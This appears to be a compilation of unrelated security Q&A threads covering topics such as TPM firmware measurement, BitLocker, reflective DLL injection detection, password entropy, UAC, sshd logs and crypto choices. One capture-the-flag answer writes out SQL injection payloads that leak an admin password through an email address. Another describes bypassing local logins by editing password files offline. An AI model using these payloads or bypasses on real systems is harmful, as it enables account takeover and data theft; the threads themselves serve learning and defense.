How do I use a TPM to protect my BIOS/EFI from "remote" attacks I have a work/gaming computer.  The work side is a SSD with linux and the game side is a SSD with Win7 (all security turned off, planning to get viruses and rewipe every LAN).  Only one of the drives is physically plugged in at a time.  So long as the two drives are never both plugged in the only way I can see to get a virus from the Win7 to the Linux drive is if it infects the BIOS and then gets the other drive when I switch em.  (If this is disputable please comment, and we can talk on another question.)

I have heard of this "TPM" thing, but only in so far as it will possibly allow manufacturers to stop me from installing a different OS, which is not what I am trying to protect myself from.

So the scenario is this: assuming the Win7 boot is compromised to the max, how can I protect my BIOS (or at least know if its been tampered).  I have seen this question, and it leaves some ambiguity if TPM is sufficiently low-level to actually validate a compromised BIOS.  How to check the integrity of my BIOS?

I am willing to buy a special motherboard for this purpose.

You are mixing up two technologies here it seems.

First, there is UEFI and its Secure Boot feature. Secure Boot can be used to assure that your boot loader and your OS kernel are not tampered with. In order to do so, your boot loader and kernel need to be signed digitally and your UEFI configuration must contain the certificates/signatures needed to verify the signatures. Windows 8 on ARM platforms uses UEFI to effectively prevent other OSs from being installed. UEFI, however, does not offer any real protection against attacks on firmware level.

Now for the TPM: The TPM is a passive hardware chip that is (amongst other things) used to store measurements (hash values) of e.g. software in a tamper resistant manner and to make those measurements available for reporting.
Mainboards that ship with a TPM have special requirements to their firmware. First, they have a tiny piece of special firmware called Core Root of Trust for Measurement (CRTM). The CRTM is executed first during boot and stores measurements of itself and of the next piece of firmware (BIOS or UEFI) before handing over control to it. The next piece of firmware would typically measure the boot loader which in turn would measure the OS kernel and so on up to application level (in detail the measurement process is more complicated of course). Most boot loaders and OSs, however, do not use the TPM this way. Anyway, if you have a TPM on your Mainboard, you can be sure it measures your firmware.

What can you do with those measurements? BitLocker e.g. uses Sealing to bind the keys needed to decrypt your HD to those measurements. That means, your HD keys can not be used, if malware corrupts your firmware. So, on Windows you can use BitLocker to protect against tampering of your firmware. I am not aware of something similar for Linux (though something might exist). You could however, use a Trusted Network Connect (TNC) enabled Radius server and a TNC enabled wpasupplicant to verify the measurements remotely.


Bitlocker encrypted drive access from other machines Can drives encrypted with Bitlocker be moved to different machines and accessed as long as the password is known? For example, via an external drive enclosure? Or is the encryption tied to the original computer?

Yes, provided you have the Key Protector (This may be a password, the Recovery Password, certificate, startup key, etc.) then you can access the encrypted drive from any machine which supports Bitlocker.

Usually if it's an internal drive it will be using either the TPM or a Startup Key, but will also generate a recovery password when you turn on Bitlocker. Windows will prompt for the password when you connect the drive to another computer.

External (removable) drives usually use a user-provided password + generated recovery password.

A BitLocker encrypted volume is not tied to the original computer in any way.


Detecting reflective DLL injection In the past few years, malware (and some pen-test tools like Metasploit's meterpreter payload) have begun to use reflective DLL injection (PDF) to load a DLL into the memory of a process. The benefit is that the file is never written to disk and is difficult to detect. Many examples I've seen are based on Joachim Bauch's work.

However, at DEF CON 20 Andrew King demonstrated that he was able to detect DLL's injected using reflective DLL injection. His presentation was called "Detecting Reflective Injection". Unfortunately, he has not released the source code (which he certainly is under no obligation to do).

  UPDATE: Apparently I missed it, but Andrew did open-source this work a couple years ago: https://github.com/aking1012/dc20

In addition, a tool called "Antimeter" can detect the meterpreter engine when loaded using reflective dll injection. Again, closed source.

I understand that Andrew King's tool and Antimeter are both written in Python and use pydbg/pydasm in order to enumerate the memory of running executables.

Does anyone have some general source code (in Python or otherwise) that they are willing to share that demonstrates how to detect reflective DLL injection? There are memory forensic tools that can analyze a memory dump and find this, but I'm looking to execute an application on a running system (like antimeter does) and find processes with reflectively injected DLL's.

If you are interested in understanding how reflective DLL injection works, there is some open-source code written in Delphi that shows how to do this.

UPDATE: I tested and I can reflectively inject DLL's without admin rights (and as a regular user), but of course as a USER I can only inject into processes running at the same integrity level (and in my session)...but that still covers applications like the Office suite, Internet Explorer, etc.

Consider what reflective DLL injection is: You exploit an application to get it to execute arbitrary code and this shell code loads a DLL into memory as a blob of data (all standard shell code stuff so far...) and then gives it execution such that the DLL loads itself properly as a DLL via a PE loader.  The purpose of this whole idea: Let you write a full application that can compile to a DLL in a language of your choosing instead of writing the whole malware as assembly code with fixed memory offsets.

So to detect, you want to look for a PE file that exist only in memory and not on on disk and is running code in it.  So scan through executable memory blobs for things that look like PE files, but aren't associated with any on disk file.  That can be done as a post-exploitation forensics.  Or if you want to detect real-time, hook calls normally associated with Reflective DLL Injection such as LoadLibrary, GetProcAddress and VirtualAlloc, and perform the previous step with more smarts.  See ambuships.com


SQL injection via update statement I'm working on a capture the flag assignment. We were told there was a flag if you can login with credentials admin. The main page does not seem to be vulnerable to SQL injection but the forgot password page is.

Here's the problem, the forget password page only requires username, and it claims to send a password reset link to the email given. I thought we were supposed to bunch in an UPDATE query to modify the password of the admin account so that we can login, but so far, every attempt that I've tried has failed.

Then I read that PHP servers can't bunch together statements, so I'm doubting my general approach now. Could anyone enlighten me on how should I go about this?

The hint given is "the table contains two columns, username and password". But this isn't really helping...?

To send that email, the server needs to fetch the email adress from the database. It probably does something like this:

$sql = "SELECT email FROM users WHERE username = '$username'";

You could try to make it email yourself instead by injectin some SQL into $username:

do_not_exist' UNION SELECT 'me@example.com' FROM dual --

But if you got a password reset link, it probably would not be for the admin user. Hmm. Perhaps you could use the email adress itself to exfiltrate some data?

do_not_exist' UNION SELECT password + '@example.com' FROM users WHERE username = 'admin' --

Now you just wait and see what email address get an email. The risk here is that the script also tries to insert a row with the username and the password reset token into some table. If that is done before the email is sent, and that query is also vulnerable, this might just crash the script. But it's worth a try.


Single user mode for Windows I am familiar with single user mode on OSX. By holding down Command-S, you can boot into a terminal as root. Resetting the PRAM with Command-Option-P-R will disable any firmware protection that would otherwise prevent you from booting into single user mode. Basically, only full disk encryption can prevent an attacker from booting as the root user on OSX.

Is there a single user mode for Windows? Can you boot as the admin if you have physical access to the device? If you cannot, why does this feature exist in OSX but not Windows?

Before we talk about the single user mode, let's talk about what you can do when you have physical access (in the context of your question, of course). On a Mac, the first thing to boot from another media (LiveCD, USB stick, etc.) and navigate to /var/db/dslocal/nodes/Default/users and modify root.plist and disable the password. On Linux, I'd do the same with the /etc/shadow. Finally, on Windows, the same can be done with \system32\config\sam file.

As you can see, single user mode or not, the result is pretty much the same - total compromise. Single user mode is just a convenience to make maintenance easier.

Finally, no, single user mode dose not exist in Windows anymore (starting with Windows Vista). In Windows XP, the Administrator account used to be activated and left without a password but left hidden. Booting into safe mode (F8), used to show the Administrator account.


Has there ever been a known case of Bitlocker breach through lock screen? Scenario: A Windows user with Bitlocker-encrypted OS drive uses Win+L shortcut to lock their computer, but leaves it powered on. At this point, their house is raided (by police, or thieves, or FBI, simply someone with desire to gain access to the data and technical means to mount a proper attempt to do it).

Question: Was there ever a known case, where an attacker with physical access to running computer with Bitlocker turned on was able to bypass the Windows login screen and gain access to Bitlocker-protected data on the computer, while the computer was already running and was only locked, and without powering the device down during the process?

Note: I am aware of DMA and coldboot attacks, or even the method of wiring the TPM to a FPGA board. These attacks usually require the target device to be powered off, at which point any other mounted volumes (for example, through VeraCrypt) would have been lost. My point is that any attacker trying to overcome the Bitlocker is not going to preemptively guess that there's a mounted VeraCrypt volume behind the Bitlocker and will power the device down at some point in an attempt to get through the Bitlocker first. Other questions on this site also pertain to scenarios where sensitive data is stored on the Bitlocker-protected device itself, but my question stems from scenario where data is stored on different disks, using different encryption and Bitlocker-enabled Windows OS is just a gateway.

A good introduction to the subject is Ivor Kollár (2010): Forensic RAM dump image analyser, and this answer is mainly based on his work. The chapter 2.1.1 describes OS independent methods that do apply to this case of a locked Windows computer:

Contrary to what you have understood, Direct Memory Access DMA attacks don't require powering off the computer. If you can dump the memory from the PCI BUS (or IEEE 1394, as the device is technically on the PCI BUS), it's possible to capture the keys even for the mounted VeraCrypt volumes. Cons: The computer may crash during the attempt.
Both cold boot and hot boot attacks are similar physical attacks where the goal is to dump as much of the memory as possible. Although the computer is restarted, the attack is based on the hope that the memory doesn't necessarily get emptied. Cons: These might not be practical in real forensic cases, and you also need some luck for these to be successful.

Extracting the cryptographic keys from the memory dump might not be easy and straighforward, but once you have got the contents of the memory using these methods you have unlimited time to investigate them without any fear of losing the keys, if they were there.


Two passwords for one account Would it be a good idea if you had one account which would require two different passwords ?

For example your login details were:

email: example@gmail.com
password 1: P4$$w0rd1
password 2: HereIsMySecondPassword

Now when the user logs in to my site he is required to enter both passwords.
Would this be a better idea than just one stronger password ? The user could choose two passwords which he can easier remember than one strong.

Not really. It's essentially one password, with a press of the return key as one character.

It adds complexity to the log in process, which isn't generally a good thing (users would probably choose one good password, and one quick to type password). Don't forget @AviD's rule: "Security at the expense of usability, comes at the expense of security"

Depending on how the passwords were stored, they would slightly decrease the ability of attackers to brute force accounts, since an attacker would need to break both parts. I doubt that this balances out the usability issue though.


Is it possible to ensure that only two specific services are allowed to talk to each other? So last semester I studied a bit about network hardening and one of the things that we did was write IP table rules to ensure that only a whitelisted set of services are able to talk to each other between machines.

But what this essentially means is that any two services running on specific ports are able to talk to each other. It doesn't quite bind the service with the port and I guess depends on the user to ensure that it is only the intended services that run on those ports.

Is there some way to ensure maybe have the service associated with the IP table rules? Or something other than IP tables that does this for you?

I am sure somebody somewhere would have exploited IP table based hardening.

EDIT To be clear, my goal is:
I want to have an application level restriction instead of port level. I want to restrict communication such that only specific services can talk to each other instead of a port based system like IP tables. For e.g. I just want MySQL services running on two hosts to talk to each other instead of saying only port 5000 should be used for communication and depending on the user to ensure that no other service is using port 5000

I am not asking for any product recommendations. This is for me to learn about security. I am guessing that you can do a signature based filtering of packets but it may not work on encrypted packets.

Pretty sure you can do that with TCP wrappers I would give a very detailed account of how to do it but, Red Hat does it much better!


Does manipulating a random password significantly reduce its entropy? Suppose I generate a password using a secure random number generator and all the available character classes. For example, c.hK=~}~$Nc!]vFp9CgE.

Consider that this password may need to be used in an environment where it cannot be copy/pasted; it must be typed by hand on a keyboard every time. There is a lot of pressing and releasing of the Shift key to type it in, which gets annoying fast.

If the password's characters were rearranged so that all of the Shifted characters were grouped together on one side of the password (so, K~}~$N!FCEc.h=c]vp9g or c.h=c]vp9gK~}~$N!FCE), would it significantly reduce the entropy (and practical security) of the password? It would make it a little easier to type, because half the password could be typed by lazily laying on the Shift key and the other half without. But is there too much of a trade-off in terms of the security offered?

Any question about password entropy needs to start with a discussion of what "password entropy" really means, and what kind of attack you are trying to protect yourself from.

In a nutshell, password entropy is an estimate of how many incorrect guesses an attacker will have to make before they stumble onto your password. These estimates are based on standard brute-forcing dictionaries that are available online.

If you type your password into a password entropy estimator and it gives you a very long crack time, then you're probably ok against "drive-by" cracking attempts. By "drive-by" I mean that you are not being targeted in particular, you are just part of a large set of accounts that are being attacked. (As a side note, beware of typing the password you're about to use into an online entropy estimator, unless you've checked the source code for that site you have no guarantee that they will not add your password to the dictionary!)

What other people are going to answer is that if an attacker knows that you like to cluster your uppercase characters and they build a custom dictionary for you (or many people start doing this and the "drive-by" dictionaries start including that pattern), then your password loses roughly half its entropy. Fine, but is that really what you should be worried about?

If you're doing something non-standard (like clustering your uppers) and we make the assumption that the attacker knows that, then we're already out the domain of "drive-by" attacks and we should also consider things like:

Have any of your accounts been previously hacked? Do your passwords appear in leaked password databases [1] [2]? If so, how much information can they gain about the "patterns" that you use?
Do they have access to your emails, sms, blog posts, etc, to see what kinds of words you use?
Can they craft targeted phishing emails for you?
Do you always check the certificate info of a page before typing in your password?
Do you download software off the internet?

As you can see, once we're out of the domain of "drive-by" attacks, the theoretical entropy of your password very quickly stops being the important point.

I'm a strong advocate of the idea that once an attacker is spending effort to learn things about you, the whole idea of password entropy no longer makes sense.

Bottom line: Since you're starting from a random password and only applying a very mild pattern, you still have plenty of entropy. If you are worried about attacks other than drive-by dictionary attacks, then the entropy of your password is largely irrelevant because other factors become much more important.


How do I remove my website from the malware database? I have a website which is basically a service platform. As far as I know there is no malware in my website (at least not found according to these free scanners). However, Check Point malware database definition is blocking requests to my website because it is somehow detecting a malware, whose details is something like this:

  Connection to IP associated by DNS trap with malicious domain. See
  sk74060 for more information.

Screenshot:

As far as I understand, my website is being detected falsely (a false positive). How do I circumvent this?

Your website www.sheba.xyz is hosted on a shared system together with lots of others. This means that all use the same IP address, 166.62.28.88. Unfortunately, not all of the sites on this IP address play nice, which means that this IP address got reported as a cause of trouble.

Unfortunately it is not only Checkpoint which reports this site as bad, but several others too; see report from cymon. There in the timeline you can also see why the IP address got put on the blacklists; namely because it was used as a target of phishing and a distribution point for malware on several domains hosted at this IP address.

Which means that the best way to deal with the problem is to talk to your hosting provider so that the bad sites get removed. If this does not help, change your hosting provider to one which cares more (and maybe costs more).


Is it dangerous to sync my data with my personal server through unencrypted http? Since Apple force iPhone users to use iCloud to sync contacts & calendar, I moved to a local ownCloud instance that works well. However, it would be more convenient if I could sync everywhere and not only when my local webserver is started (and thus I'm near my laptop), so I'm thinking of a simple VPS with ownCloud installed, but I can't afford an SSL certificate.

Therefore I guess my contacts & calendars would sync in "clear", am I right ?
Easier to intercept (if so) than a local sync ?

It may be evident but I need certitude.

It depends on what you are worried about.  Transmitting it unsecured means someone could alter it in transit or monitor the connection and make off with your data.  Further, they could access your OwnCloud credentials and take, remove or alter data on your OwnCloud account.  If you are just using it in a read only manner, you are a little better off, but still open to manipulation before it gets to you.  This probably isn't a significant risk for most people, but it is a risk that can be easily mitigated.

You can use a self-signed SSL certificate for this and add your signing certificate as trusted (or simply accept the untrusted connection).  This will still provide encryption for your connection but won't cost you anything.  You only have to pay to get an SSL certificate that is verified by a certificate authority.

If you do decide you want a trusted certificate, they are also pretty cheap.  I get mine from StartSSL for under $60 for a 2 year SSL cert.  I actually use that cert with my OwnCloud instance and it works great.


Microsoft said UAC is not a security barrier. But in what cases? After Vista came out, security professionals argued that UAC wasn't actually a security barrier, and Microsoft eventually admitted it isn't. But the case they were talking about was a local administrator, who just has to click ALLOW on UAC prompts.

But what about non-administrator users, who must enter a password at UAC prompts? In that case, is UAC actually a security barrier?

A related question here hints that the answer is yes, but doesn't say so explicitly:
Assuming UAC is enabled, does a non-administrator account offer any security improvements?

This is not really an answer, but speaking in absolutes with security can be dangerous... so... it depends.

I think when you say "Microsoft said UAC is not a security barrier," this is probably what you mean:

From Security Watch: The long-term effects of User Account Control (2007):

  What UAC Is Not

  UAC was not deliberately designed to be the most annoying feature in the history of Windows. Rather, this set of technologies was designed to set us on a path where users do not need to expose their systems to potentially malicious code as frequently as they have during the past few years.

  In its current form, UAC will not stop really good attackers, or ones who have the help of really good attackers. If the bad guys can't think of any other way to defeat UAC, they will almost certainly resort to asking the user to do it for them. Given the choice of dancing pigs and security, we know from experience that the dancing pigs win every time. Users have learned to dismiss dialogs, and so they will until we manage to teach them otherwise. This results from many contributing factors, including the fact that there are too many warning dialogs, that the messages in them are useless, and that many of the manuals for whatever devices users buy include a note to "please click yes to the security warning dialog to dismiss it."

  UAC does not provide foolproof security. In fact, it makes the good old local privilege elevation attack interesting again. This is a class of attack that has largely been discounted because, on Windows, nearly everyone was an admin anyway so elevating to some other admin was quite pointless. That said, UAC definitely changes the nature of such attacks and transforms the rules of the game to be much more like what prevailed on UNIX for more than 20 years.

  UAC will not stop bad guys from stealing your personal data. A user's personal data is accessible to that user regardless of the user's privilege. As such, an application, including a malicious one, can access the data. UAC does not, and cannot, change that. It does not eliminate the need to be vigilant, distrustful, and paranoid—attributes we should all instill in our end users at every opportunity.

  UAC was not designed to protect an application running with elevated privileges from all attacks by an application that runs with normal privileges in the same login session. While UAC does provide some weak process isolation, it was not a design goal for UAC to sandbox applications from each other.

So what is UAC for? From the same article, we get an answer...

  Some of the brightest thinkers in the world on Windows security today, such as Joanna Rutkowska, did understand UAC's purpose. As she put it in a blog post on February 4, 2007, UAC "is a new security mechanism introduced in Vista, whose primary goal is to force users to work using restricted accounts, instead working as administrators" (theinvisiblethings.blogspot.com/2007/02/running-vista-every-day.html). She has it mostly right, except I would use the term "enable" rather than "force."

This suggests the purpose of UAC was more about enabling users to give up administrative privileges most of the time, without crippling the user experience. UAC is a set of security features that was implemented for the long-game. It forces application developers to work within the boundaries of a standard user where possible, so that users won't need to elevate privileges when they should have been able to work without administrative permission levels.

For your average user, if they don't have administrative privileges on the machine, it will likely be enough of a barrier to keep them from running an installer that requires administrative privileges. But it is by no means a fix-all solution for security.

Bonus Material: Here's a good discussion of UAC from an IT Perspective on RunAs Radio (Episode 376). Richard Campbell carries a recurring theme through RunAs Radio over the years, that if IT has configured things correctly, and the user is doing what they're supposed to be doing, they should never be blocked by a security barrier. It's a lofty goal, but it really is the ideal balance.

I'm going to step out of this question for a moment and take into account the context of another question you've asked: Can I configure Windows Defender to reject competing AV programs?

At your scale of about 30 machines... you might want something like Group Policy as a tool to work with to start locking down machines a little more. But since you're not on a domain-controlled network, you may have to settle for Group Policy's little brother: Local Policy.

Here's a specific group policy object that might be helpful: User Account Control: Behaviour of the elevation prompt for standard users. This setting configures UAC to automatically deny privilege escalation requests. Unfortunately, locking down machines like this will result in more help desk requests if the users don't have the software they need... or the software they use requires administrative privileges.


Where is sshd log file and how to explain the log info? To input journalctl after logining my vps.

journalctl _COMM=sshd -f

Feb 16 06:34:40 localhost sshd[324]: Bad protocol version identification 'GET / HTTP/1.0' from 23.252.100.22 port 38876
Feb 16 06:34:40 localhost sshd[325]: Did not receive identification string from 23.252.100.22
Feb 16 07:34:40 localhost sshd[326]: Bad protocol version identification 'GET / HTTP/1.0' from 23.252.100.22 port 40602
Feb 16 07:34:40 localhost sshd[327]: Did not receive identification string from 23.252.100.22
Feb 16 08:34:40 localhost sshd[328]: Bad protocol version identification 'GET / HTTP/1.0' from 23.252.100.22 port 38298
Feb 16 08:34:40 localhost sshd[329]: Did not receive identification string from 23.252.100.22
Feb 16 09:34:41 localhost sshd[348]: Bad protocol version identification 'GET / HTTP/1.0' from 23.252.100.22 port 42132
Feb 16 09:34:41 localhost sshd[349]: Did not receive identification string from 23.252.100.22
Feb 16 10:34:39 localhost sshd[350]: Bad protocol version identification 'GET / HTTP/1.0' from 23.252.100.22 port 60988
Feb 16 10:34:39 localhost sshd[351]: Did not receive identification string from 23.252.100.22
Feb 16 11:34:40 localhost sshd[352]: Bad protocol version identification 'GET / HTTP/1.0' from 23.252.100.22 port 33850
Feb 16 11:34:40 localhost sshd[353]: Did not receive identification string from 23.252.100.22
Feb 16 12:34:39 localhost sshd[354]: Bad protocol version identification 'GET / HTTP/1.0' from 23.252.100.22 port 44998
Feb 16 12:34:39 localhost sshd[355]: Did not receive identification string from 23.252.100.22
Feb 16 13:34:38 localhost sshd[356]: Bad protocol version identification 'GET / HTTP/1.0' from 23.252.100.22 port 52632
Feb 16 13:34:38 localhost sshd[357]: Did not receive identification string from 23.252.100.22
Feb 16 14:34:41 localhost sshd[358]: Bad protocol version identification 'GET / HTTP/1.0' from 23.252.100.22 port 43864
Feb 16 14:34:41 localhost sshd[359]: Did not receive identification string from 23.252.100.22
Feb 16 15:34:40 localhost sshd[360]: Bad protocol version identification 'GET / HTTP/1.0' from 23.252.100.22 port 53402
Feb 16 15:34:40 localhost sshd[361]: Did not receive identification string from 23.252.100.22

Does the log mean that 23.252.100.22 (not my ip and not my vps ip) try to crack my vps key?

Where is the file containing such log info?

Bad protocol version identification 'GET / HTTP/1.0' from 23.252.100.22 port 38876

It sounds like a bot is sending incorrectly-formed messages to sshd. Not only is that not a version string, but it's one line of an http request - which doesn't make any sense in the context of ssh.

It could be trying to trigger some vulnerability that I don't know about, but I think it's probably just poorly programmed.

Either way, the answer is the same: do your standard sshd hardening. Disable password auth, disable root login, install and configure fail2ban.


Is it possible for someone to modify keepass code, recompile and make it available for free download? I am concerned about the possibility to download a fake keepass upgrade.

If possible this would allow many ways to get private data on keepass files!

For example, keepass hacked or modified code could send the kbdx file by ftp to a server in China or in Crimea! Or hacked keepass could send the kbdx file attached in email in a thank you note to keepass developers...

Is this possible?

To reduce the risk you can

double check the source of your download (webiste url, https etc)
verify the download with his keyprint (provided by the author).

  "KeePass can be downloaded from many mirror servers. If you want to
  check if the offered files are verified by the KeePass authors (i.e.
  official and original files), you can hash the downloaded file using
  the hash computation utility of your choice (you can try one of these
  utilities: Visual Hash Calculator, ReHash, MD5sums) and see if the
  hashes match."
  http://keepass.info/integrity.html

On keepass.info download page you will find (at the bottom) the links to do that:
Hash Sums Verifying your download: Hash Sums, OpenPGP Signatures, .NET Public Keys


Has anybody successfully decrypted their files after paying the WannaCrypt ransom? WannaCrypt is a shot heard 'round the world, for sure.

I have seen news articles saying that people have paid more than $20,000 in ransoms.  Here's one from Krebs: Global ‘Wana’ Ransomware Outbreak Earned Perpetrators $26,000 So Far

But my question is: Has anybody successfully decrypted their files after paying?

Yes, some have apparently gotten their files decrypted after paying the ransom.

  We have confirmation that some of the 200+ #WannaCry victims who have paid the ransom have gotten their files back. Still, not recommended.

(tweeted by Mikko Hypponen, CRO at F-Secure, on May 15, 2017)

But there is absolutely no guarantee to get yours decrypted after paying and chances seem to be pretty low, especially since it's not an automated process but requires interaction with a human operator. Security researchers strongly recommend against paying the ransom.


Setting node.js TLS ciphers vs observed behavior I have a node.js server that I'm configuring for TLS 1.2. I set the following options in the config of my https server:

ciphers: 'ECDHE-ECDSA-AES256-SHA384:ECDHE-RSA-AES128-SHA256:DHE-RSA-AES128-SHA256:AES128-GCM-SHA256:RC4:HIGH:!MD5:!aNULL',
honorCipherOrder: true,
secureProtocol: 'TLSv1_2_method'

I then ran cipherscan on the port it created and got this result:

prio  ciphersuite                  protocols  pfs                 curves
1     ECDHE-RSA-AES128-SHA256      TLSv1.2    ECDH,P-256,256bits  prime256v1
2     AES128-GCM-SHA256            TLSv1.2    None                None
3     ECDHE-RSA-RC4-SHA            TLSv1.2    ECDH,P-256,256bits  prime256v1
4     RC4-SHA                      TLSv1.2    None                None
5     ECDHE-RSA-AES256-GCM-SHA384  TLSv1.2    ECDH,P-256,256bits  prime256v1
6     ECDHE-RSA-AES256-SHA384      TLSv1.2    ECDH,P-256,256bits  prime256v1
7     ECDHE-RSA-AES256-SHA         TLSv1.2    ECDH,P-256,256bits  prime256v1
8     AES256-GCM-SHA384            TLSv1.2    None                None
9     AES256-SHA256                TLSv1.2    None                None
10    AES256-SHA                   TLSv1.2    None                None
11    CAMELLIA256-SHA              TLSv1.2    None                None
12    ECDHE-RSA-AES128-GCM-SHA256  TLSv1.2    ECDH,P-256,256bits  prime256v1
13    ECDHE-RSA-AES128-SHA         TLSv1.2    ECDH,P-256,256bits  prime256v1
14    AES128-SHA256                TLSv1.2    None                None
15    AES128-SHA                   TLSv1.2    None                None
16    CAMELLIA128-SHA              TLSv1.2    None                None
17    ECDHE-RSA-DES-CBC3-SHA       TLSv1.2    ECDH,P-256,256bits  prime256v1
18    DES-CBC3-SHA                 TLSv1.2    None                None

Certificate: trusted, 2048 bit, sha256WithRSAEncryption signature
TLS ticket lifetime hint: 7200
OCSP stapling: not supported
Cipher ordering: server
Curves ordering: server
Curves fallback: False

Fallbacks required:
big-SSLv3 config not supported, connection failed
big-TLSv1.0 config not supported, connection failed
big-TLSv1.1 config not supported, connection failed
big-TLSv1.2 no fallback req, connected: TLSv1.2 ECDHE-RSA-AES128-SHA256

Any idea why 'ECDHE-ECDSA-AES256-SHA384' is not my top priority cipher? It doesn't matter so much to me, but I would like to understand what I'm seeing better.

ECDSA?
No ECDSA cert installed or no ECDSA-scan support in the tool you used, maybe?
Check with another tool. Or by hand on the command line with the openssl s_client command.


How do I correctly select and use a modern symmetric block cipher? I have founds lots of DON'Ts with Google but so far, no simple resource that would explain to someone like me who knows that he is not smart enough get this right without help how to use correctly a modern symmetric block cipher.

I plan to use this to exchange a bunch of control messages over a connection-less datagram-oriented transport protocol. I plan to distribute some initial secrets over SSH-tunneled http connections and then the remaining secrets will be spread over the network through the already-secure channels. It is thus important to me to try to keep the secret as small as possible in size to fit as many of them as possible within a single datagram.

To summarize, what cipher should I pick, how should I setup the IVs, the MACs, etc. Alternatively, a hint on resources that could give me enough background to make these decisions myself would be fine but I am still struggling to find something that it somewhat more practical than crypto textbooks.

This should probably be on the crypto Stack Exchange instead of here.

Regardless, the best course of action is to not touch the symmetric block cipher yourself. There are mature, cryptographer-audited security libraries like NaCl and KeyCzar that will make the correct decisions for you.

That said, if you do choose to go it your own, a generally safe choice is AES-128 in either EAX mode or GCM mode. Both of these modes provide authentication of your ciphertext in addition to cryptographic security, which is crucial for avoiding things like padding oracle attacks. In order to use either of these modes, you need a cryptographic key, an initialization vector, a plaintext, and, optionally, additional authentication data.

The key must be 128 bits long and generated with a cryptographically secure random number generator. If you want a password-protected key, take the randomly-generated key and pass it through PBKDF2-HMAC-SHA-256 with the password, the key in place of the salt, a number of rounds calibrated to take as long as you're comfortable with (10_000 rounds on my laptop requires 0.5s, which is a reasonable amount of time), and a 128-bit output size. The output will be the "real" key to use, and you can re-run this with the original key and password any time you need to access the real key.

The initialization vector for EAX and GCM modes (note: this may not be the case for other modes, like CBC, which has even stricter IV requirements) must be unique across all encryptions with a given key. A simple counter is considered to be sufficient. However, you need to make sure this counter guarantees uniqueness even when run across multiple invocations of the process, multiple simultaneous processes, and multiple machines. A properly-implemented version 1 UUID should suffice for these purposes. This isn't in the format encouraged by RFC 5116, section 3.2, however, and someone more knowledgeable than me will have to clarify whether or not that format is important to abide by. Alternatively, a securely-generated random number of appropriate size should be sufficient, but I haven't seen people do this in practice with CTR-derived modes (which GCM and EAX are based off of). Again, someone more knowledgable will have to comment on whether or not this is a good idea.

The plaintext can be anything you please, but do not fall into the trap of thinking the input of AES is "characters", "ASCII", "Unicode", or any such nonsense. The appropriate input is an array of bytes.

The optional associated authentication data may also be anything you like. This is data that is incorporated into the ciphertext in order to verify authenticity when a decryption is performed. But it is not part of the plaintext protected inside of the ciphertext. For example, if you're encrypting data on behalf of users stored in a database, you could use the user's user_id in the database. In the event that one user found a way to copy another user's encrypted data into his account, he wouldn't be able to get your application to decrypt it, since his user_id wouldn't match the one used to encrypt the data. I may have explained this poorly, so please let me know if it was confusing or unclear.

For storage, the key must be kept secret. Key management and lifetime is beyond the scope of my answer, but it is a crucially important part of ensuring the security of your protected data. The initialization vector, ciphertext, and authentication data have no requirement on their secrecy, but the authentication data should ideally be something provided to the cryptography layer from an external source (e.g., the user_id mentioned earlier). When used, it should not be something a potential attacker can supply to you or otherwise exercise control over. Storing, transmitting, and copying the authentication data along with the other values defeats the purpose. One way of considering the authentication data is that it should provide "context" for the protected data.

That should do it. Keep in mind that this is complicated, and excruciatingly difficult to do correctly without leaking protected information. I don't recommend you go it on your own, but if you do, the above should be a relatively safe point to start from. At the very least, you should be better off than 95% of the websites out there that try to implement cryptography themselves. Assuming, of course, that I haven't completely failed at describing a secure implementation approach.


Key exchange with an untrusted party Assume there are two parties - an agent and a server. The agent must register itself to the server by sending its identifier over the internet.

And let's say we use public cryptography to encrypt the identifier on the agent device and send it to the server, which uses its private key to decrypt it. Diffie-Hellman key exchange could also be used for this.

This scheme, however, doesn't deal with the fact, that the agent is not secure against physical attacks, in case of which, the public/private keys would get stolen from the agent. Then anyone could imitate the agent and send registration requests with the stolen keys.

Is there a way, to know, undeniably, from the communication, that the party is the agent, without storing cryptographic keys on the agent locally?

EDIT: thank you for your ideas. To be more specific, the agent is a Raspberry Pi computer, integrated into a product that is shipped to customers.

This scheme, however, doesn't deal with the fact, that the agent is not secure against physical attacks, in case of which, the public/private keys would get stolen from the agent. Then anyone could imitate the agent and send registration requests with the stolen keys.

If the attacker has physical access to the agent computer, then the attacker can operate the agent computer, and send any requests in its identity.

  Is there a way, to know, undeniably, from the communication, that the party is the agent, without storing cryptographic keys on the agent locally?

Well you should still use cryptographic keys to secure against virtual attacks, but there may be other solutions that can be used in addition to cryptography.

Some ideas that come to mind.

You could require the connection to originate from a specific IP address that is only available by connecting to the network cable at the Agent station. In this way, the attacker would have to forge requests on-site, and could not simply copy the keys for later use elsewhere.
Depending on your Agent computer, it is possible that attacks will require interruption of the OS to access internal data. If that is a necessary component of the attack, then you can use a continuous communication channel to detect when the OS is terminated. The server can assume it is an attack (not knowing) and the credentials be disqualified.

Administrator override can be used to indicate the interruption was a technical issue (such as internet connection issue or router restart) instead of an attack, in which case the credentials can be qualified again.
Use a separated One Time Password device that the user keeps in his possession. YubiKey or GAuthenticator are possible implementations of this. This is not a silver bullet, but would make it more difficult for an attacker to forge a request, as he would have to install a program that waits, and then eventually makes use of the One Time Password. Your server can enforce Replay Attack prevention to make the attacker less invisible.

Again, your options are limited when the attacker has physical access to the machine, but perhaps these will help. Welcome to Security Stack Exchange!


oidc authentication webapp REST api So I have looked at the following client library, implementing the OpenID Connect spec:
https://github.com/IdentityModel/oidc-client-js
It works as expected, and I can now allow users to login with Google, great.
This library specifically assumes a 'pure' web client application, i.e. an app that has 'no backend' from where it renders.

Now my webapp (like many others) wants to connect to the backend REST api resources that I own (or proxy).
It makes no sense to add additional authentication (after all the user is now logged in with Google, why would (s)he want to log in again).
So to recap, basically what happens is that the user wants to authenticate with Google in the client (because there is no need for me to force the user to make yet another login account specifically for my own platform), then the user wants to access my self-managed REST endpoints.

My question is: what common approach exists to allow my own server REST endpoints to allow the oidc granted access token?

I have made the following considerations:

1. Make a call at the server on every request (for example using
    passport.js) to verify the access token at the server side.

This almost certainly looks like an overkill, but it is the simplest implementation and keeps my server stateless, which is what you want from a REST api.
Philosophically it doesn't make sense to have your own backend be responsible for the authentication, since that would invalidate the entire use of delegating user authentication to the oidc protocol.

Although this seems like the way it could / should be done (IMO), nobody actually recommends this approach. Why is that?

2. Generate your own jwt at a /register and/or /login endpoint after the client has obtained an access token from the oidc provider, and implement your own auth flow for your personal resources.

I personally despise this approach, because you're basically duplicating authentication, system for refreshing tokens etc... which oidc already delivers and what you want is merely authorization for your resources based on the access token that you already have.
